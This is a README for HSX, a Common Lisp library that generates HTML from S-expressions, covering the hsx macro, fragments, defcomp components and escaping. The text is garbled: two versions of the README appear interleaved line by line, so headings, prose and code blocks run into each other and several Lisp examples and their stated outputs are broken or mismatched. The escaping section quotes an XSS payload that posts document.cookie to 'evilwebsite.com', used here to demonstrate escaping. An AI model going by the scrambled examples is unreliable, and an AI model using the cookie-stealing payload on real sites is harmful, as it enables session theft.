# HSX
# HSX Hypertext S-expression
HSX (Hypertext S-expression) is a simple and powerful HTML (Living Standard)
generation library for Common Lisp.
**HSX** is a lightweight and expressive HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax via S-expressions.
This project is a fork of [ailisp/flute](https://github.com/ailisp/flute/).
> 🚧 **ALPHA NOTICE:**
> This library is still in early development. APIs may change.
> See [release notes](https://github.com/skyizwhite/hsx/releases) for details.
## Warning
## ⚙️ How HSX Works
This software is still in ALPHA quality. The APIs are likely to change.
Every tag or component inside an `(hsx ...)` form is transformed into a Lisp expression of the form:
Please check the [release notes](https://code.skyizwhite.dev/paku/hsx/releases)
for updates.
```lisp
(create-element type props children)
```
## Getting Started
### Basic Usage
Use the `hsx` macro to create HTML elements. Attributes are specified using a
property list after the element name, and child elements are nested directly
inside.
For example:
```lisp
(hsx
(div :id "example" :class "container"
(h1 "Welcome to HSX")
(p "This is an example paragraph.")))
(article :class "container"
(h1 "Title")
(p "Paragraph")
(~share-button :service :x))
```
This generates:
```html
<div id="example" class="container">
<h1>Welcome to HSX</h1>
<p>This is an example paragraph.</p>
</div>
```
To convert an HSX object into an HTML string, use the `render-to-string`
function:
Is internally transformed (by macro expansion) into:
```lisp
(render-to-string
(hsx ...))
(create-element :article '(:class "container")
(list
(create-element :h1 nil (list "Title"))
(create-element :p nil (list "Paragraph"))
(create-element #'~share-button '(:service :x) (list))))
```
### Embedding Content
This is made possible via the hsx macro, which detects HTML tags and components, then rewrites them using create-element. Tags are converted to keywords (e.g., div → :div), and custom components (starting with ~) are passed as functions.
HSX allows you to embed Common Lisp forms directly within your HTML structure.
This uniform representation allows rendering, manipulation, and analysis of the HTML structure in a Lisp-friendly way.
When working with HSX elements inside embedded Lisp forms, you should use the
`hsx` macro again.
## 🚀 Quick Example
```lisp
(hsx
(div
(p :id (format nil "id-~a" (random 100)))
(div :id "main" :class "container"
(h1 "Hello, HSX!")
(p "This is a simple paragraph.")
(ul
(loop
:for i :from 1 :to 5 :collect
(hsx (li (format nil "Item ~a" i)))))
(if (> (random 10) 5)
(hsx (p "Condition met!"))
(hsx (p "Condition not met!")))))
```
This might generate:
```html
<div>
<p id="id-42"></p>
<ul>
<li>Item 1</li>
<li>Item 2</li>
<li>Item 3</li>
<li>Item 4</li>
<li>Item 5</li>
</ul>
<p>Condition not met!</p>
</div>
```
### Using Fragments
To group multiple elements without adding an extra wrapper, use the fragment
`<>`.
```lisp
(hsx
(<>
(h1 "Grouped Elements")
(p "First paragraph.")
(p "Second paragraph.")))
```
This generates:
```html
<h1>Grouped Elements</h1>
<p>First paragraph.</p>
<p>Second paragraph.</p>
```
### Creating Components
You can define reusable components using the `defcomp` macro. Component names
must begin with a tilde (`~`). Properties should be declared using `&key`,
`&rest`, or both. The body must return an HSX element.
```lisp
(defcomp ~card (&key title children)
(hsx
(div :class "card"
(h1 title)
children)))
```
Alternatively, you can use a property list:
```lisp
(defcomp ~card (&rest props)
(hsx
(div :class "card"
(h1 (getf props :title))
(getf props :children))))
```
Usage example:
```lisp
(hsx
(~card :title "Card Title"
(p "This is a card component.")))
(loop for i from 1 to 3 collect
(hsx (li (format nil "Item ~a" i)))))))
```
Generates:
```html
<div class="card">
<h1>Card Title</h1>
<p>This is a card component.</p>
<div id="main" class="container">
<h1>Hello, HSX!</h1>
<p>This is a simple paragraph.</p>
<ul>
<li>Item 1</li>
<li>Item 2</li>
<li>Item 3</li>
</ul>
</div>
```

## 🔐 Escaping Behavior
All elements automatically escape special characters in content to prevent XSS and HTML injection:
```lisp
(hsx
(div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))
```
Outputs:
```html
<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>
```
Use the special tag `raw!` to inject trusted, unescaped HTML:
```lisp
(hsx
(article (raw! "HTML text here ..."))
```
## 🧩 Fragments
Use `<>` tag to group multiple sibling elements without wrapping them in a container tag:
```lisp
(hsx
(<>
(p "One")
(p "Two")))
```
Outputs:
```html
<p>One</p>
<p>Two</p>
```
Note: `raw!` tag is a fragment that disables HTML escaping for its children.
## 🧱 Components
Define reusable components using `defcomp` macro. Component names must start with `~`.
*Keyword-style*
```lisp
(defcomp ~card (&key title children)
(hsx
(div :class "card"
(h2 title)
children)))
```
*Property-list style*
```lisp
(defcomp ~card (&rest props)
(hsx
(div :class "card"
(h2 (getf props :title))
(getf props :children))))
```
### Usage
```lisp
(hsx
(~card :title "Hello"
(p "This is a card.")))
```
Outputs:
```html
<div class="card">
<h2>Hello</h2>
<p>This is a card.</p>
</div>
```
## 🧬 Logic and Interpolation
You can freely embed Lisp expressions, conditionals, and loops inside HSX forms:
```lisp
(hsx
(div
(if (> (random 10) 5)
(hsx (p "High!"))
(hsx (p "Low!")))))
```
Or loop:
```lisp
(hsx
(ul
(loop :for item :in todo-list :collect
(hsx (li item))))))
```
## 🏷️ Built-in Tags
All standard HTML5 tags (and a few extras like `<>`, `raw!`) are automatically defined and exported from the hsx package. You dont need to declare them manually.
